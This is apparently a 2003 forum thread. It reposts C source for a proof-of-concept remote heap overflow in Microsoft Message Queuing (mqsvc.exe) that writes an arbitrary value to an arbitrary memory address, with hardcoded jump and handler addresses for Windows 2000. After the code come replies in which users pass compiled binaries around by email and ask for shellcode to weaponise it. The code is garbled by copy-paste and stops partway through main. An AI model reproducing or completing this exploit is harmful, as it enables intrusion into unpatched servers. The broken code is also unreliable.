A demonstration of the bug alluded to by Jim Allchin in his efforts to explain how appallingly badly coded some of the work on Micro$oft's enterprise-critical technologies truly is. See
http://www.eweek.com/article2/0,3959,5264,00.asp
for details.
<quote> "The fact that I even mentioned the Message Queuing thing bothers me," he said. </quote>
Well, it shouldn't really. It only took half-an-hour's work to find this bug; multiply that by time wasted on perhaps experimenting with a dozen or so of the other M$ apis and you'll see that even without the hint, it wouldn't have been hard to find; and of course, many of those other apis have their own problems. Not disclosing it would have prevented absolutely nothing; trying to send a long string to a search-by-name function is just so completely obvious that secrecy gets you nowhere. YOU CAN'T HIDE ANYTHING FROM AN INQUIRING MIND WITH A PACKET SNIFFER.[*]
(K) All Rites Reversed - Anti-copyright DaveK Oct 2003 Use as you will. Everything is possible and nothing is real. Please send improvements, bugfixes or ideas to blah spam davek AT hahaparse this nospambots redneck dot gacracker dot org you harvesters
[*] - This offer void where prohibited by law, or strong crypto.
*/
#include <Winsock2.h> #include <stdio.h>
#pragma comment (lib, "ws2_32.lib")
// Standard typedefs and structs from the Open Group's // "Technical Standard DCE 1.1: Remote Procedure Call", // [Document Number C706]
// This request must be the first sent once we have bound the interface. // There is no corresponding function in the MQ api in the SDK; but opnum 22 // returns a 16-byte handle/guid/similar that needs to be part of the actual // MQLocateBegin request that we synthesize later, so I'd call it something // like MQOpenMQISHandle. There's a corresponding close function, opnum 23, // but we aren't going to bother with it.
// And here we go. This is opnum 6, MQLocateBegin. The stubdata was derived // from sniffing the wire while doing a series of MQLocateBegin/End operations // with a string that got longer by one unicode 'A' each time. The string // length is checked locally by the MQLocateBegin function before sending, but // the mqsvc exe just assumes the data is valid because it assumes the packet // was checked by the remote end before sending. BIG mistake.....!
// Ok, here are three generic helper routines that I use in a lot of my code. static inline const char * getfilenamepart (const char *ptr) { const char * fn;
static int parse_dotted_quad (const char *string, unsigned int *ipaddr, unsigned short *port) { unsigned int a, b, c, d, p; int n, len; unsigned int ad; unsigned short po;
a = b = c = d = p = len = 0; // FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric // parts as well, as per definition of inet_addr; alas that function is // no use here because it fails if there is a ":port" suffix. len = -1; if (port) n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len); else n = 0; // despite what it says in the SDK docs sscanf does not return the // number of fields scanned - only the number of conversions: %n is // a field scanned but not a conversion and doesn't get counted! if (n != 5) { n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len); if (n != 4) return 0; } // ok it looks valid, but in order not to be fooled by names like // 1.2.3.4.domain (isp host rDNS often looks like this) we must be // sure that the string end here with whitespace or eol or NUL if (!string[len] || isspace ((unsigned char)string[len]) || (string[len] == '\r') || (string[len] == 'n')) { // hoorah! return ipaddr and port! in host order! ad = (a << 24) | (b << 16) | (c << 8) | d; po = (unsigned short)(p & 0xffff); if (ipaddr) *ipaddr = ad; if (port && (n == 5)) *port = po; return len; } // failed return 0; }
static int parse_hostnameport (const char *string, unsigned int *ipaddr, unsigned short *port, int resolve, int verbose, const char *banner) { int len; unsigned int ad; unsigned int po; struct hostent FAR * FAR myhost; char namepart[400];
// skip wspc be nice while (isspace (*string)) ++string; // we must see if there is a :port attached to the string end! len = 0; while ((string[len] != ':') && (string[len]) && !isspace (string[len])) { namepart[len] = string[len]; ++len; } if (string[len] == ':') { sscanf (&string[len+1], "%d", &po); *port = po; }
if (!resolve) return len;
namepart[len] = 0; myhost = gethostbyname (namepart); if ((verbose >= 2) || ((verbose == 1) && !myhost)) fprintf (stderr, "%sget host ip for name %s %s", banner, namepart, myhost ? "succeeds" : "fails\n"); if (!myhost) return 0; // so we gotta return an ip address then! memcpy (&ad, myhost->h_addr_list[0], sizeof (ad)); // but we are a parse routine so return in host order ad = ntohl (ad); *ipaddr = ad; if (verbose >= 2) fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff, (ad >> 8) & 0xff, ad & 0xff); return len; }
// Reads a dce reply; either discards it if no rcvbuf is // specified, or supplies the first min (rcvsz, frag_len) bytes // in the buffer you pass in. int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz) { char buffer[4096]; int amount, this_time, actual, rv; rpcconn_common_hdr_t *hdr;
// copy as much hdr as wanted into rcvbuf if (rcvbuf && rcvsz) { this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz; memcpy (rcvbuf, buffer, this_time); rcvbuf += this_time; rcvsz -= this_time; }
while (amount) { this_time = (amount >= 4096) ? 4096 : amount; actual = recv (sock, buffer, this_time, 0); if (actual <= 0) return -1; amount -= actual; // copy as much data as wanted into rcvbuf if (rcvbuf && rcvsz) { this_time = (rcvsz >= actual) ? actual : rcvsz; memcpy (rcvbuf, buffer, this_time); rcvbuf += this_time; rcvsz -= this_time; } } return 0; }
// Assembles a DCE frag from a header and some stubdata, and // sends it in one swell foop. int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat, int stubdatsz, SOCKET sock) { static char *packetbuf = NULL; static int packetbufsz = 0;
if (!hdr || !hdrsz) return -1; if (!stubdatsz || !stubdat) return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 : WSAGetLastError (); // there are no stream markers in tcp so there is no strict need to send as one // packet, but it will look better in a netsniffer display if we do.. so we do. if (packetbufsz < (hdrsz + stubdatsz)) { if (packetbuf) free (packetbuf); packetbuf = (char *) malloc (hdrsz + stubdatsz); packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0; if (!packetbuf) return -1; } // assemble packet in buff memcpy (packetbuf, hdr, hdrsz); memcpy (packetbuf + hdrsz, stubdat, stubdatsz); int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz + stubdatsz) ? 0 : WSAGetLastError (); //free (packetbuf); return rv; }
// Binds the MSMQ interface, opens a handle to the MQIS, then builds a packet // that represents a MQLocateBegin operation, passing a single MQRESTRICTION // on the PROPID_Q_LABEL property that tests for PREQ against an over-sized // unicode string. The columnset data specifies we want the PROPID_Q_INSTANCE // and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that far..... int test_overflow (int argc, const char **argv, int stringsize, DWORD addr2write, DWORD val2write, SOCKET insocket) { const char *hostname = argv[1]; int rv, err; unsigned int ipaddr; unsigned short port; SOCKET sendsock; char replybuf[4096];
if (!hostname) return -1; err = 0; port = 0; // the parse functions return host byte order; we convert // to network byte order for use in sockaddr structure if (parse_dotted_quad (hostname, &ipaddr, &port)) { ipaddr = htonl (ipaddr); port = htons (port); } else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, "")) { ipaddr = htonl (ipaddr); port = htons (port); } else { fprintf (stderr, "Can't resolve host! %s - %d", hostname, WSAGetLastError ()); return (-1); } if (insocket != INVALID_SOCKET) sendsock = insocket; else sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sendsock == INVALID_SOCKET) { fprintf (stderr, "Can't create socket! %s - %d", hostname, WSAGetLastError ()); return (-1); }
// default port: if (!port) port = htons (2101);
// and setup the dest addr structure... struct sockaddr_in dest_addr;
// try the connect! if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr)) { rv = WSAGetLastError (); if (insocket != INVALID_SOCKET) closesocket (sendsock); return rv; }
// and send the generated packets to the target rv = send_dce_packet (tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header, sizeof tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header, NULL, 0, sendsock);
if (!rv) rv = read_dce_reply (sendsock, NULL, 0); if (!rv) rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header, sizeof tcp_req_op_22_id_2_frame_47_header, tcp_req_op_22_id_2_frame_47_stubdata, sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock); // after the response pdu hdr comes 24 bytes reply stubdata: // 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0 again. if (!rv) rv = read_dce_reply (sendsock, replybuf, 64); if (!rv) {
// The real question is how do we modify the data to send a longer // string of L'A' as the search path? // well, the main differences seem to be: // There are two DWORD 0x00000079 that need to be changed to the new string len: // they are at offsets 0x30 and 0x38 in the string. store the new # of A's // there. Then append the string. // The string length includes the terminating zero. So in the above case, // we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0 (nul-term). // If the string len you chose was odd, add a short of padding as well to // align the result. // Then append the next 0x1c bytes taken from offset 0x130 in the sample packet // finally append the 16 guid bytes you received earlier.
unsigned char *outbuf = NULL; int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c; outbuf = (unsigned char *) malloc (stubsize); if (outbuf && !rv) { // Start assembling the stubdata for opnum 6..... memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30); // write the string max count, offset and actual count, as per NDR for a // conformant varying array of unicode chrs. *(DWORD *)(outbuf + 0x30) = stringsize; *(DWORD *)(outbuf + 0x34) = 0; *(DWORD *)(outbuf + 0x38) = stringsize; // Now assemble the string short * unichrptr = (short *)(outbuf + 0x3c); int n = stringsize - 1; #if 0 while (n--) *unichrptr++ = L'A'; #else short unichr = 0x4101; // lop off last 4 chrs for addr and val to write... n -= 4; // build remainder of overflow string while (n--) *unichrptr++ = unichr++; // now the values to write *unichrptr++ = (short)(val2write & 0xffff); *unichrptr++ = (short)(val2write >> 16) & 0xffff; *unichrptr++ = (short)(addr2write & 0xffff); *unichrptr++ = (short)(addr2write >> 16) & 0xffff; #endif *unichrptr++ = L'\0'; // array may need padding to get everything 4-aligned again. if (stringsize & 1) *unichrptr++ = L'\0'; // Right. Append the remaining stub data from the opnum 6 call unsigned char *chrptr = (unsigned char *)unichrptr; memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c); chrptr += 0x1c; // and the mqis handle we received earlier memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16); chrptr += 16; // also we must set the frag length rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t *)tcp_req_op_6_id_3_frame_49_header; hdr->alloc_hint = stubsize; hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr; // We are good to go! rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header, sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf, sendsock); // This will fail if the overflow succeeded; if however the string length we // chose was too short, we'll get some kind of reply back and try again with // a longer string. if (!rv) rv = read_dce_reply (sendsock, NULL, 0); free (outbuf); } else if (outbuf) free (outbuf); } // all done with the socket now if (insocket != INVALID_SOCKET) closesocket (sendsock); return 0; }
int usage (int argc, const char **argv) { const char * fn = getfilenamepart (argv[0]); fprintf (stderr, "\nUsage:\n\n %s host[:port] addr2write val2write [strmin [strmax]]\n", fn); fprintf (stderr, "\n"); fprintf (stderr, "Function:\n\n Writes an arbitrary DWORD value to an arbitrary location in the process\n"); fprintf (stderr, "memory of the mqsvc.exe on the remote machine. Tested on W2kASv/Sp2.\n"); fprintf (stderr, "Default values of strmin and strmax are 915, which works for me. Not all\n"); fprintf (stderr, "values for addr2write/val2write seem to work, though; there may be some\n"); fprintf (stderr, "filtering of the overflow string in some way.\n\n"); fprintf (stderr, " Note also that the default port used (2101) works reliably for me, but as\n"); fprintf (stderr, "there is an internal MSMQ rpc api operation (opnum 27) that returns this port\n"); fprintf (stderr, "number as a DWORD to the MQ client, it may be variable on different systems.\n\n"); return -1; }
int main (int argc, const char **argv) { WSADATA mywinsock; int rv = 0;
WSAStartup (0xffff, &mywinsock); if (argc >= 2) { int strsize, maxstr; DWORD addr, val;
// hmm. as defaults, let's try and write an address of a jmp esi to an exception handler #define JMPESI0 0x780296bb #define JMPESI1 0x7801ad1c #define HANDLER1 0x024dffe0 #define HANDLER2 0x024df7f8 #define HANDLER3 0x024df018 // 0x024cffe0 #define DUMMY 0x66554433
// nefr. seems like it dont work with just any values. // val is written first in string, addr second; seems not // to be a good idea to have any 0x01/0x02 bytes. DUMMY // passes fine as both addr and value. // // allchinbug testbed 0x77665544 0x8899aabb //
I get a lot of errors when I try to compile this sorry mates. But no luck here yet.
EDIT: It seems there are alot of copy paste errors. some of the commented lines in this code continue to next line. tried to clean it up but no luck yet.......
suanlebani
Oct 8 2003, 05:37 AM
U must care of the code style when U compile it
chrispen
Oct 8 2003, 01:07 PM
well anyone compiled it ?
suanlebani
Oct 9 2003, 06:58 AM
I had complied this code, give me your mail addreee if you need exe
tribalgoa
Oct 9 2003, 08:49 AM
hey please send the .exe to my email axe__@hotmail.com
thanks already ...
suanlebani
Oct 9 2003, 09:06 AM
..finished .sent your need to your maibox
tribalgoa
Oct 9 2003, 12:57 PM
hmm ... ok thanks for the compiled file ...
seems to be POC code to me ... no shellcode included (
anyone care to make this into a working exploit ?
HiLaLi
Oct 11 2003, 11:13 AM
suanlebani send it to me plz, adel_akm@yahoo.com
thanks dude
xaph
Oct 12 2003, 08:46 AM
ya plz send to me too, would be nice
xaph@cyberphreak.ch
or better post it here....
dejavu
Oct 12 2003, 11:16 AM
Hello Suanlebani, if you be so kind, pls send compiled code to amach@prointer.pl thx
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.